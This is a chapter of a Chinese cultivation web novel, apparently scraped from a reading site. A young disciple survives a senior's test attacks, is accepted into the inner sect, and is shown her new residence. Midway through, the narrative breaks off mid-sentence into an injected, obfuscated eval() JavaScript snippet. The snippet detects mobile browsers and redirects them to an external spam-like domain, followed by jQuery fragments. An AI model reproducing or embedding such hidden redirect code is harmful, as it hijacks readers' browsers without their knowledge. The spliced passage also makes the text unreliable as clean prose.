人还没爬起,一粒还灵丹便赶紧吞下。化雾珠和上品隐匿符捏在手心,却毫无安全感可言。
刚才那一击,她用上了身上的全部两张上品灵甲符,却还是被一击重伤。
这攻击她的来人,修为不在筑基之下!
来不及细想,下一道攻击顷刻便至。
化雾珠一经催发,立刻遮去她身形。隐匿符也一并使出,大片水雾让山门上看戏的门生立刻失去了目标。
“这是……”
孙寄纯惊愕地看着来人,完全反应不过来现在的状况。
孟远也一惊,却瞬间心里畅快起来。
周语明果然跟何煦没什么交集,听闻何煦敢打着他的名号来闯门,估计此刻正是气头上。
轻哼一声,他事不关己地看着山下的嬴煦慌忙躲避。
嬴煦也确实慌忙,因这道攻击完全不被她水雾和隐匿符影响。
对方的修为高出她太多,她使尽浑身解数也不过负隅顽抗。
咬咬牙停下逃窜,嬴煦回身化出道高耸水墙。一圈围墙裹住她周身,其上水流涌动、奔腾不息。
她已看到了,攻击她的分明是水行法术。心中有了猜测,嬴煦迎上那来势汹汹的攻击,双手撑着水墙朝前一挡——
“噗!”
一口血喷出,她脸色立刻白了下去。
山上的孟远看着这一幕,脸色有些不好看起来。
休学半年,却不想她还有如此进步……这一击接下,竟还能站得住。
涌动的水流卸去了半数攻击的力量,将其吞入旋转不息的水墙。
嬴煦摇摇晃晃,勉力支撑。抬目朝上去看,果然是周语明遥遥悬在山上半空。
第三道攻击又下来了。这次嬴煦有了准备,终于看得清楚——那只是普普通通的水团。
三次攻击,实为同一式。第一次叫她用去了全部灵甲符,第二次叫她用去了化雾珠、隐匿符和小半数灵力。
第三次用什么呢……
嬴煦心中火速转着,懊悔涌上心头。
早知还有后面,她不该一开头就用上所有符的……
心念急转,动作却丝毫不犹豫。上品疾行符拍在身上,嬴煦灵雾术使出,身形模糊间箭一样冲向山门旁的树丛。
速度提高了几倍,她轻巧在丛林中左右躲闪,专挑着树木繁盛处去。
水球坠在身后不远,眨眼间就要挨上。
嬴煦一个闪身,突然猛侧身滚去,灵雾遮蔽了身影和周身一小片,跟来的水球霎时击上块巨石,叫其四分五裂。
嬴煦耍了个心眼,半骗半躲过这一击,却也消耗颇多,且被余威炸到,此刻灰头土脸,抖如筛糠。
不敢放松,还灵丹再吞了一颗。抬头去看,这次周语明却没再继续攻击了,施施然走下山门来。
山上的众门生已经看呆,不知该先惊讶周语明攻击,还是嬴煦竟能躲过。
孟远脸色渐变,看着那道衣袍正蓝色身影走到山门。
“勉强过关。”
周语明淡淡开口,看着大松一口气的嬴煦。
管事朝周语明问了个好,拧眉不解道:“周师兄,这是……何意?”
嬴煦眼也不眨的看着周语明,心如擂鼓。
她的命运何去何从,就等着一刻的结果。
“此子资质不错,心性尚佳。我欲收之到门下。”
周语明一语落下,全场哗然,那管事也满脸惊愕之色。
嬴煦一口气松掉,终于埋着头笑了笑,随即便是阵惊天动地的咳嗽,血沫伴着呛咳涌出,看起来狼狈不堪。
孟远袖中的拳头攥紧,几乎要控制不住面上表情。怎么回事?
而毛吟苍此刻才气喘吁吁赶回来,正好听见这一句,先是一顿,而后长舒了一口气。
“愣着干什么?这便随我回内门。”周语明依旧面无表情,只淡淡朝嬴煦投去一眼。
禁制被打开,嬴煦赶忙迈入:“多谢周前辈。”
那管事还在震惊当中,完全没想到事情是这么个发展。不过一个好苗子能不被埋没,她心里也是高兴的。
转头多问了句:“周师兄,掌门师兄今日不在,此事……”
周语明随意摆了摆手:“我叫内门庶务殿处理便是。她的名册我这就带走。”
浑身都在痛,嬴煦心中却是从未有过的松快。
命运真是阴差阳错,本以为历练遭遇叫她前途尽毁,却不想绕了一圈,竟叫她提前入了内门。
石阶缓缓走到尽头,熟悉又陌生的风景再入眼帘。
想起什么,她无心再看道场,转头向人群扫视,一遍遍搜寻昔日朋友的身影。
没有,也没有……还是,没有。
心中失望叠着酸楚。
她来山门,已过去一个时辰。这么多人,看戏的有之,仇人有之,陌路有之。
毛吟苍尚帮她一把,夏时轻人呢,见她一面都不肯吗。
攥紧的手指戳到手心,嬴煦不死心般再看了一遍人群,还是不见夏时轻。
明明今日既无讲课,也无解惑。否则山门不会有这么多闲人。她在哪?
一路跟着周语明走至庶务殿,领过名册,交还外门令牌。直至要朝更深处的内门而去,终究是没有再见故人身影。
周语明察觉到她情绪忽低,只扫过一眼,懒得理会。
远处道场另一侧,矮墙之后,树影横斜,夏时轻和徐小茵站在一处,遥遥目送嬴煦远去。
“这一去就见不到了吧……不跟阿煦说说吗?”徐小茵纠结半晌,低声问道。
夏时轻表情全无曾经人前的阳光,此刻看不出心情,只淡淡道:“没甚可说。”
两道身影相错一步,渐渐远去。
道终不同,能相伴两载,已是她偷来的缘分。
恩怨已还清,这就散了吧。
.
孙家内门向来神秘,外门弟子只知其存在,却从不被允许前往。
嬴煦只知内门位置在外门更北、山中更高处。今日随着周语明踏上飞剑,才知这“更高”不止一点。
飞剑冲天而起,朝着北方高山而上。
嬴煦第一次腾空,看着脚下离地越远,本就受伤失血的脸色更加苍白,心里不住念着清心咒稳住心神,整个人僵住一动不敢动。
周语明只顾御剑,丝毫不打算管她。仿佛她要是真失足跌下,就会仍由她跌死。
闭了闭眼,稳住重心,嬴煦不敢再朝下看。
跨过外门墙院,山林中又是道白色石阶层层爬起,一路朝上蔓延。大片绿色披着些许雾气,填满嬴煦的视野。
随着逐渐顺山而上,四周灵气也悄然浓郁,叫嬴煦心中一动。
难怪都说,内门的修行资源,要远比外门好。
御剑飞行速度极快,不到一刻,视野中又一片殿堂院墙出现。比之外门,内门建筑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736828|168995||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显然还要更加华美。
红墙碧瓦,齐整石砖,颜色鲜明。甫一落地,面前便是座冲天白玉牌,其上灵气暗涌、符文流光。
跌跌撞撞站稳,嬴煦腾空的紧张感还未散去,就见周语明已大步迈向门,只得赶忙跟上,待周语明打开禁制,后脚跟着进去。
进了门,看见眼前场景,更是呼吸一窒。
琅岩多矿,自然不缺石料玉料。
但她还是没想到,这内门之中,座座宝殿,竟都是上好白玉做窗……
扇扇面面,一眼望去,莹润色泽,显然并非废料。
巴掌大一块玉,足够农户一家数月吃喝。在这深山老林,竟被用以建筑,何其铺张……
思绪还未转过,周语明已再迈步向内:“内门禁制与外门一样,无令不得出山。三月一休沐,为时五日。
“门生一月得二灵石、一瓶辟谷丹。月初自去庶务殿领。”
言语间脚步不停,已带着嬴煦绕过道场,向东拐去,几步到了庶务殿。
当值的门生见有人来,恭敬迎上:“周前辈。”
嬴煦垂头跟在后面,不动声色打量四周,见这师兄对周语明态度,心中思索着周语明在内门的分量。
“这外门门生,记到我座下。”周语明话不多,一手将嬴煦的名帖递出,只叫那当值的门生去办。
那师兄笑眯眯接过,麻利去登册拿令牌,写到一半,看见什么,微微一愣:“周前辈,何师妹这惩处还未消去,只怕得报与管事。”
周语明点点头:“你按章办便是,我会去与修宁师兄说。”
那师兄便立刻点点头:“学生明白。”
说罢,周语明便带着嬴煦离去:“三日之后,你来庶务殿领令牌及杂物便是。”
嬴煦点点头:“是。”
出了庶务殿,又回到宽阔道场中。正北与外门一样,是高大的王公殿。不同是道场上没什么人,只有几个杂役弟子在忙碌。
过了西墙洞门,一进西院,嬴煦又是一震。
内门的西院也是住所,但雅致讲究,与外门不可同语。
外门西院,简单至极。一座座房子整齐排列,如切好的豆腐块,挨个垒着,无甚美观可言。
内门一进来,却是宽阔石板路,两肩花草树木葱郁,小径幽幽,岔向别道。
高大华美的殿院层层铺开,互相间隔数丈。其间缀以亭台楼阁,假山池塘,花园一般。
嬴煦跟着周语明七拐八拐,这才到了住处。一宽阔的四方院,门匾上书着“晦明”二字。想来就是此院的名字。
门口有一杂役弟子,见有人来,急急忙退到一边行礼:“法师。”
周语明点点头,指着嬴煦道:“去给你何师姐将东厢房收拾出来。”
那仆役立即领了命,退下去拾掇了。
进了正房,周语明自坐于上首,翻起手边卷轴。
嬴煦有些不知所措,只得站在一边,闷声不吭,也不敢贸然抬头打量。
刚才行路间,许是忙着注意周围,还感觉伤势尚可。这一停下,浑都开始隐隐作痛,嬴煦不得不暗暗咬着后槽牙,打起精神。
“上前来。”
周语明突然开口,倒叫嬴煦分散了下注意力。
几步上前去,还没来得及想是要做何,一道霸道的灵力轰然从天灵盖灌入体内。
“啊——!”
嬴煦毫无准备,痛叫出声。